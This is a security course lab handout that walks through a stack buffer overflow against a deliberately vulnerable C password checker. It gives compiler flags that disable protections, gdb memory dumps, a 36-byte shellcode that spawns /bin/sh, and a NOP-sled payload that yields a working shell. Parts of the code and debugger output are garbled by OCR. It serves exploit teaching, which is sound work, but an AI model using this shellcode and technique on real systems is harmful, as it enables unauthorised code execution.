## **Buffer Overflow Attacks**

This lab allows you to experiment with a variation of the buffer overflow attacks demonstrated in the lecture. The goal of this lab is to exploit buffer overflow to invoke a shell code from a legitimate program.

#### Some online references are listed as follows:

GCC Beginner Guide

**GDB Tutorial** 

**Binary Convention** 

x86 Assembly Language Reference

1. Create our simple vulnerable program (auth\_overflow3.c): It is a variant of the vulnerable program demonstrated in the lecture. Note that the buffer size in this variant is 96 bytes long. It will be large enough for an attacker to inject his own executable shell code into the buffer, as we will seein this lab.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check authentication(char *password) {
       char password buffer[96];
       int auth_flag[1];
       auth_flag[0] = 0;
       strcpy(password_buffer, password);
       if(strcmp(password buffer, "brillig") == 0)
              auth flag[0] = 1;
       if(strcmp(password buffer, "outgrabe") == 0)
              auth flag[0] = 1;
       return auth flag[0];
int main(int argc, char *argv[]) {
       if(argc < 2) {
              printf("Usage: %s <password>\n", argv[0]);
              exit(0);
       if(check authentication(argv[1])) {
              printf("\n-=-=-\n");
              printf("
                         Access Granted.\n");
              printf("-=-=-\n");
       } else {
              printf("\nAccess Denied.\n");
```

2. Compile the program, include symbol info. for debugger (-g), disable stack protector (-fno-stack-protector) and allow the stack to contain executable code (-z execstack)

```
seed@VM$ sudo sysctl -w kernel.randomize_va_space=0
seed@VM$ gcc -fno-stack-protector -z execstack -g -o auth_overflow3
auth_overflow3.c

FOR CLOUD VM:
seed@VM$ gcc -m32 -fno-stack-protector -z execstack -g -o
auth_overflow3auth_overflow3.c
```

```
[09/11/21]seed@VM:.../BoF$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 [09/11/21]seed@VM:.../BoF$ gcc -fno-stack-protector -z execstack -g -o auth_over flow3 auth_overflow3.c [09/11/21]seed@VM:.../BoF$
```

3. Load the program into the gdb debugger

seed@VM\$ gdb auth overflow3

```
[09/11/21]seed@VM:.../BoF$ gdb auth_overflow3
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<a href="http://www.gnu.org/software/gdb/bugs/">http://www.gnu.org/software/gdb/bugs/</a>.
Find the GDB manual and other documentation resources online at:
<a href="http://www.gnu.org/software/gdb/documentation/">http://www.gnu.org/software/gdb/documentation/</a>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from auth_overflow3...done.

gdb-pedas
```

4. List the program and set break points just before the buffer overflow point and after the overflow:

(gdb) list 1,40

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check authentication(char *password) {
                  char password buffer[96];
                  int auth_flag[1];
                  auth_flag[0] = 0;
                  strcpy(password_buffer, password);
                  if(strcmp(password_buffer, "brillig") == 0)
                  auth_flag[0] = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
                           auth_flag[0] = 1;
                  return auth_flag[0];
         int main(int argc, char *argv[]) {
    if(argc < 2) {
        printf("Usage: %s <password>\n", argv[0]);
                           exit(0);
                  if(check_authentication(argv[1])) {
                           } else {
                           printf("\nAccess Denied.\n");
```

```
(gdb) break 12
(gdb) break 19

sdb-peda$ break 12
Breakpoint 1 at 0x80484d8: file auth_overflow3.c, line 12.
sdb-peda$ break 19
Breakpoint 2 at 0x8048528: file auth_overflow3.c, line 19.
sdb-peda$
```

5. Disassemble the main() function code and locate the return address that execution returns to after the check\_authentication function returns:

```
(gdb) set disassembly-flavor intel (gdb) disass main
```

```
adb-pedas set disassembly-flavor intel
adb-pedas disass main
Dump of assembler code for function main:
    0x0804852d <+0>:
0x08048531 <+4>:
                                        ecx,[esp+0x4]
esp,0xfffffff0
DWORD PTR [ecx-0x4]
                               lea
                               and
    0x08048534 <+7>:
                               push
    0x08048537 <+10>:
                                push
    0x08048538 <+11>:
                                         ebp,esp
    0x0804853a <+13>:
0x0804853b <+14>:
                                push
                                         esp,0x4
                                sub
    0x0804853e <+17>:
                                         eax,ecx
DWORD PTR [eax],0x1
0x8048565 <main+56>
                               mo'v
    0x08048540 <+19>:
                                        0x8048565 <main+56>
eax,DWORD PTR [eax+0x4]
eax,DWORD PTR [eax]
esp,0x8
                                CMD
    0x08048543 <+22>:
0x08048545 <+24>:
0x08048548 <+27>:
                                jg
mov
                                mo'v
    0x0804854a <+29>:
0x0804854d <+32>:
0x0804854c <+33>:
0x08048553 <+38>:
                                sub
                                         eax
0x8048661
                                push
                                push
call
                                         0x8048370 <printf@plt>
                                         esp,0x10
esp,0xc
    0x08048558 <+43>:
                                add
    0x0804855b <+46>:
                                sub
    0x0804855e <+49>:
0x08048560 <+51>:
0x08048565 <+56>:
                               push
                                         0x80483a0 <exit@plt>
eax,DWORD PTR [eax+0x4]
                                call
                                MOV
    0x08048568 <+59>:
                                         eax,0x4
eax,DWORD PTR [eax]
                                add
    0x0804856b <+62>:
                                mov
    0x0804856d <+64>:
                                         esp, exc
                                sub
    0x08048570 <+67>;
                                push
    AVARA48571 <+68>
                                call
                                         0x80484cb <check authentication>
    0x08048576 <+73>:
                                add
                                         esp,0x10 Im
    0x08048579 <+76>:
0x0804857b <+78>:
0x0804857d <+80>:
                                test
                                         eax,eax
                                         0x80485af <main+130> esp,0xc
                                je
sub
    0x08048580 <+83>:
                                         0x8048677
                               push
    0x08048585 <+88>:
                                         0x8048390 <puts@plt>
                               call
    0x0804858a <+93>;
0x0804858d <+96>;
                                add
                                         esp,0x10
                                sub
                                         esp,0xc
    0x08048590 <+99>:
0x08048595 <+104>:
                                push
                                         0x8048694
                                call
                                         0x8048390 <puts@plt>
    0x0804859a <+109>:
0x0804859d <+112>:
                                         esp,0x10
                               add
                                         esp,0xc
0x80486aa
                                sub
    0x080485a0 <+115>:
                               push
     0x080485a5 <+120>:
                                    call
                                                0x8048390 <puts@plt>
     0x080485aa <+125>:
                                     add
                                                esp,0x10
     0x080485ad <+128>:
                                                0x80485bf <main+146>
                                     jmp
     0x080485af <+130>:
                                                esp,0xc
                                     sub
     0x080485b2 <+133>:
                                     push
                                                0x80486c6
     0x080485b7 <+138>:
                                     call
                                                0x8048390 <puts@plt>
                                               esp,0x10
eax,0x0
     0x080485bc <+143>:
                                     add
     0x080485bf <+146>:
                                     mov
                                                ecx,DWORD PTR [ebp-0x4]
     0x080485c4 <+151>:
                                     mov
     0x080485c7 <+154>:
                                     leave
     0x080485c8 <+155>:
                                                esp,[ecx-0x4]
                                     lea
     0x080485cb <+158>:
                                     ret
End of assembler dump.
```

The <u>return address (0x08048576)</u> is highlighted above (the instruction following the call to check\_authentication function).

**6.** Run the program with an input (payload), which is larger than the 96 bytes buffer length. (say 100 "A" characters (ASCII code = 0x41)

Examine the contents of the stack memory (starting the at the first byte of the password\_buffer):

```
(gdb) x/48xw password buffer
```

```
x/48xw password_buffer
                                          0xb7fe97a2
0xb7f5e4c4
0xb7fff918
0xbfffed34
                     0xb7fd4240
0xb7fff000
                                                                 0xb7fd6b48
0x00000000
0xbfffec60:
                                                                                       0×00000000
                                                                                       0×00000000
0xbfffec70:
0xbfffec80:
                     0xb7fff000
                                                                 0xbfffeca0
                                                                                       0x08048295
0xbfffec90:
                     0×00000000
                                                                 0xb7fd44e8
                                                                                       0xb7fd445c
                     0xffffffff
0xb7fd44e8
                                                                                       0xb7ffd2f0
0xb7d98c0b
0xbfffeca0:
                                           0xb7d66000
                                                                 0xb7d76dc8
0xbfffecb0:
                                           0xb7fd445c
                                                                 0xb7fd27bc
0xbfffecc0:
0xbfffecd0:
                     0xb7f1c3dc
0xbfffefb2
                                                                 0xbfffece8
                                           0x00000000
                                                                                      0x08048576
                                          0xbfffed94
0xbfffed00
0xb7f1c000
0xbfffed94
                                                                 0xbfffeda0
                                                                                       0x080485f1
0xbfffece0:
                     0xb7f1c3dc
0xb7f1c000
0x00000002
                                                                 0x00000000
                                                                                       0xb7d82637
0xbfffecf0:
                                                                 0x00000000
                                                                                       0xb7d82637
0xbfffed00:
                                                                                       0×00000000
                                                                 0xbfffeda0
0xbfffed10:
                                                                 0xb7f1c000
                     0x0000000
                                           0x00000000
                                                                                       0xb7fffc04
```

NOTE: You may have different addresses [highlighted in YELLOW box above] in your VM. Please follow the below steps accordingly.

Can you see the address after the end of the password\_buffer in the check\_authentication() stack frame where the return address is stored? (look for the return address you identified earlier in the stack memory dump).

7. Continue execution to next breakpoint (after the overflow strcpy) and examine the stack memory again. Can you see the overflow bytes containing the '0x41' characters? How large should the overflow be to reach and overwrite the return address?

```
(gdb) x/48xw password buffer
```

```
x/48xw password_buffer
0xbfffec60:
                0x41414141
                                  0x41414141
                                                   0x41414141
                                                                    0x41414141
0xbfffec70:
                0x41414141
                                  0x41414141
                                                   0x41414141
                                                                    0x41414141
0xbfffec80:
                0x41414141
                                  0x41414141
                                                   0x41414141
                                                                    0x41414141
0xbfffec90:
                0x41414141
                                  0x41414141
                                                   0x41414141
                                                                    0x41414141
0xbfffeca0:
                0x41414141
                                 0x41414141
                                                   0x41414141
                                                                    0x41414141
0xbfffecb0:
                0x41414141
                                 0x41414141
                                                   0x41414141
                                                                    0x41414141
0xbfffecc0:
                0x41414141
                                 0x00000000
                                                   0xbfffece8
                                                                   0x08048576
0xbfffecd0:
                0xbfffefb2
                                 0xbfffed94
                                                   0xbfffeda0
                                                                    0x080485f1
0xbfffece0:
                0xb7f1c3dc
                                 0xbfffed00
                                                   0x00000000
                                                                    0xb7d82637
0xbfffecf0:
                0xb7f1c000
                                  0xb7f1c000
                                                   0x00000000
                                                                    0xb7d82637
0xbfffed00:
                                  0xbfffed94
                0x00000002
                                                   0xbfffeda0
                                                                    0x00000000
0xbfffed10:
                0x00000000
                                  0x00000000
                                                   0xb7f1c000
                                                                    0xb7fffc04
```

8. Generate our attacker "payload" shellcode (in this lab, we use the provided shellcode). This shellcode (given below as a list of 36 machine code bytes) opens a Linux command shell that allows the attacker to issue arbitrary Linux commands on the attacked machine.

\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x73\x68\x68\x2f\x62\x 69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80\x90

9. Construct the buffer-overflowing input containing our payload ().

```
NOP sled (40 bytes)
                        Shellcode (36 bytes)
                                             40 x Repeating return address (160 bytes)
```

A NOP is an instruction which does nothing (No Operation - 0x90). We will try to overwrite return address with 0xbffff204

```
(gdb) run $(perl -e 'print
"\x90"x40,"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x5
1\x68", \x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x
89","\xe1\xcd\x80\x90","\x04\xf2\xff\xbf"x40')
```

```
udb_peda% run $(perl -e 'print "\x90"x40,"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68","\x2f\x2f\x73\x
68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89","\xe1\xcd\x80\x90","\x94\xf2\xff\xbf"x40')
Starting program: /media/sf_Shared_Folder/BoF/auth_overflow3 $(perl -e 'print "\x90"x40,"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\x
a4\xc1\x80\x6a\x6b\x58\x51\x68","\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89","\xe1\xcd\x80\x90","\x04
 \xf2\xff\xbf"x40')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
Breakpoint 1, check_authentication (
    password=0xbfffef2a '\220' <repeats 40 times>, "\061\300\061\333\061\260\244j\vXQh//shh/bin\211\3430\211\342S\211\341\
220\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\377\277\004\362\37
```

(gdb) continue

```
continue
Continuing.
```

Breakpoint 2, check\_authentication (password=0xbffff204 "/lib/boost/libboost\_system.so.1.64.0") at auth\_overflow3.c:19 return auth\_flag[0];

### 10. Analyse the stack memory and find the address of our shellcode.

(gdb) x/48xw password buffer

gdb-peda\$ x/48xw password buffer				
0xbfffebd0:	0x9090909 <del>0</del>	0x90909090	0x90909090	0x90909090
0xbfffebe0:	0x90909090	0x90909090	0x90909090	0x90909090
<pre>0xbfffebf0:</pre>	0x90909090	0x90909090	0xdb31c031	0xb099c931
0xbfffec00:	0x6a80cda4	0x6851580b	0x68732f2f	0x69622f68
0xbfffec10:	0x51e3896e	0x8953e289	0x9080cde1	0xbffff204
0xbfffec20:	0xbffff204	0xbffff204	0xbffff204	0xbffff204
0xbfffec30:	0xbffff204	0xbffff204	0xbffff204	0xbffff204
0xbfffec40:	0xbffff204	0xbffff204	0xbffff204	0xbffff204
0xbfffec50:	0xbffff204	0xbffff204	0xbffff204	0xbffff204
0xbfffec60:	0xbffff204	0xbffff204	0xbffff204	0xbffff204
0xbfffec70:	0xbffff204	0xbffff204	0xbffff204	0xbffff204
0xbfffec80:	0xbffff204	0xbffff204	0xbffff204	0xbffff204
gdb-peda\$				

**Note:** Our shellcode starts with <u>0xdb31c031</u>. Therefore, reconstruct our payload return address to start somewhere before this address (anywhere in the NOP sled will do-- we'll try **0xbfffebe0**).

#### 11. Reconstruct and run program with our new payload.

```
(gdb) run $ (perl -e 'print
"\x90"x40,"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51
\x68","\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89
","\xe1\xcd\x80\x90","\xe0\xeb\xff\xbf"x40')
```

The program being debugged has been started already. Start it from the beginning? (y or n) – y

(gdb) continue

# gdb-peda\$ continue Continuing.

```
(gdb) x/48xw password buffer
```

```
x/48xw password buffer
0xbfffebd0:
                 0x90909090
                                  0x90909090
                                                   0x90909090
                                                                    0x90909090
0xbfffebe0:
                 0x90909090
                                                                    0x90909090
                                  0x90909090
                                                   0x90909090
0xbfffebf0:
                                                                    0xb099c931
                 0x90909090
                                  0x90909090
                                                   0xdb31c031
0xbfffec00:
                 0x6a80cda4
                                  0x6851580b
                                                   0x68732f2f
                                                                    0x69622f68
0xbfffec10:
                 0x51e3896e
                                  0x8953e289
                                                   0x9080cde1
                                                                    0xbfffebe0
0xbfffec20:
                 0xbfffebe0
                                  0xbfffebe0
                                                   0xbfffebe0
                                                                    0xbfffebe0
0xbfffec30:
                 0xbfffebe0
                                  0xbfffebe0
                                                   0xbfffebe0
                                                                    0xbfffebe0
0xbfffec40:
                 0xbfffebe0
                                  0xbfffebe0
                                                   0xbfffebe0
                                                                    0xbfffebe0
0xbfffec50:
                 0xbfffebe0
                                                                    0xbfffebe0
                                  0xbfffebe0
                                                   0xbfffebe0
0xbfffec60:
                                                                    0xbfffebe0
                 0xbfffebe0
                                  0xbfffebe0
                                                   0xbfffebe0
0xbfffec70:
                 0xbfffebe0
                                  0xbfffebe0
                                                   0xbfffebe0
                                                                    0xbfffebe0
0xbfffec80:
                 0xbfffebe0
                                  0xbfffebe0
                                                   0xbfffebe0
                                                                    0xbfffebe0
```

```
(gdb) continue
```

```
gdb-pedas continue
Continuing.
process 26327 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No source file named /media/sf_Shared_Folder/BoF/auth_overflow3.c.
Error in re-setting breakpoint 2: No source file named /media/sf_Shared_Folder/BoF/auth_overflow3.c.
$
```

```
$ ls -la
```

```
$ ls -la
[New process 26400]
process 26400 is executing new program: /bin/ls
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
total 34
drwxrwx--- 1 root vboxsf 4096 Sep 11 08:12
drwxrwx--- 1 root vboxsf 4096 Sep 11 07:57
                                           .gdb history
-rwxrwx--- 1 root vboxsf 8533 Aug
                                   8 21:59
-rwxrwx--- 1 root vboxsf 8700 Sep 11 07:58 auth_overflow3
-rwxrwx--- 1 root vboxsf
                          690 Mar 17 22:03 auth overflow3.c
-rwxrwx--- 1 root vboxsf
                          109 Sep 11 08:39 peda-session-auth overflow3.txt
-rwxrwx--- 1 root vboxsf 451 Mar 13 01:31 perl-cmd-gdb.txt
$ [Inferior 2 (process 26400) exited normally]
 arning: not running or target is remote
```

The attack worked – execution returned to the shellcode and the shell could be used to issue any commands (such **Is** in the example above).